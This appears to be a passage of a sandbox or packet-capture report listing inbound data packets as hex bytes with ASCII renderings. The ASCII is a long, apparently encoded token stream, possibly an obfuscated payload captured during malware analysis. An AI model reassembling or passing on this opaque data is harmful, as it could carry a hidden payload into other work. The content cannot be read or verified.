2021-11-09 21:21:49 UTC 1021 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii:  x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY

2021-11-09 21:21:49 UTC 1022 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4b 51 20 78 20 52 52 20 
Data Ascii:  RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x to x OxE x RY x RY x RY x Rt x KQ x RR 

2021-11-09 21:21:49 UTC 1023 IN Data Raw: 20 6b 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 6f 6f 20 
78 20 4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 
4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 
4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 
78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 
4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 
20 78 20 4f 6f 4f 20 78 20 59 45 20 78 
Data Ascii:  kK x tt x OOQ x OOY x Ooo x tR x Ooo x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x 
Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt 
x tR x Rt x OxK x OOO x OOK x OoO x YE x

2021-11-09 21:21:49 UTC 1025 IN Data Raw: 4f 52 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 59 20 78 20 6b 74 20 78 
20 4f 78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 
78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 
20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 
20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 
4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 
59 20 78 20 4f 78 59 20 78 20 4b 51 20 78 20 4f 
Data Ascii: OR x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x 
YK x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK 
x OxQ x YK x OOt x YY x OxY x KQ x O

2021-11-09 21:21:49 UTC 1026 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 

2021-11-09 21:21:49 UTC 1027 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii:  RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x

2021-11-09 21:21:49 UTC 1029 IN Data Raw: 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 
20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii: Y x RY x kO x RY x RR x RY x RY x RY x RY x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x k
O x RY x tE x RY x OxE x tE x kY x RY x RY x RY
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2021-11-09 21:21:49 UTC 1030 IN Data Raw: 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 
78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 
20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 
20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 5
2 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 7
8 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 
Data Ascii:  x RY x RQ x RY x RY x RY x Rt x kO x RY x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY 
x tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x 
Rt x RY x tK x OOQ x RY x RY x RY x kx x 

2021-11-09 21:21:49 UTC 1031 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 
20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 
20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 
78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii:  x RY x RY x RY x Rt x OxE x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x R

2021-11-09 21:21:49 UTC 1032 IN Data Raw: 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 
20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
Data Ascii: kO x RY x RY x tY x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tR x OxE x tx x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY 

2021-11-09 21:21:49 UTC 1034 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 
6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 2
0 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 
74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii: RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x Rk x 
OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x 
RY x RY x RQ x RY x Rt x kO x kO x RY x RY x

2021-11-09 21:21:49 UTC 1035 IN Data Raw: 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 
78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii: O x RY x RY x tR x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tO x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x

2021-11-09 21:21:49 UTC 1036 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 
4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 7
8 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 
20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: Y x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x RQ x 
OxE x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY 
x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x 

2021-11-09 21:21:49 UTC 1038 IN Data Raw: 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 45 20 
78 20 52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 
4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 
78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 5
9 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
Data Ascii: YE x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt x OxE x tE x RY x OOO x OxE x RY x 
RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x RY x 
RY x Rk x Oxt x RR x RY x RY x RY x RY x RY 

2021-11-09 21:21:49 UTC 1039 IN Data Raw: 74 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 74 45 20 78 20 
52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 52 74 20 78 20 6b 4f 20 
78 20 52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 
20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 
20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii: tE x OxE x tE x RY x tR x RY x tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x kt x 
Rt x kO x Rt x RY x tR x tE x RR x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x 
OxQ x RY x OxE x Rt x kt x RY x RY x 
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2021-11-09 21:21:49 UTC 1040 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 2
0 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii:  x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x RY x RY x Rt x OxE x RY x RY x RY x RY x OxE 
x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY 
x RQ x RY x RY x RY x RY x RY x RY x RY x RY x

2021-11-09 21:21:49 UTC 1042 IN Data Raw: 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 
20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 
74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 59 6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 74 6f 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 
20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 
Data Ascii: x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE x RY x kx x Kt x Kt 
x Kt x OxE x Rk x Kt x Kt x Kt x Yo x RY x Kt x Kt x Kt x YR x RY x to x Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x 
kx x Kt x Kt

2021-11-09 21:21:49 UTC 1043 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x R

2021-11-09 21:21:49 UTC 1044 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii:  RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x

2021-11-09 21:21:49 UTC 1046 IN Data Raw: 78 20 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 
20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 
4f 4f 6f 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 59 78 20 
78 20 4f 78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 
20 6b 45 20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 
20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 
Data Ascii: x YR x OOt x YK x Kt x YR x OxO x Oox x Kt x YR x OxO x OOQ x Kt x YR x tY x OOo x Kt x YR x tO x OxQ x 
Kt x YY x Yx x Oxo x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x kE x YK x kQ x RQ x O
xE x OOQ x kQ x RQ x OxE x OOQ x kQ x

2021-11-09 21:21:49 UTC 1047 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
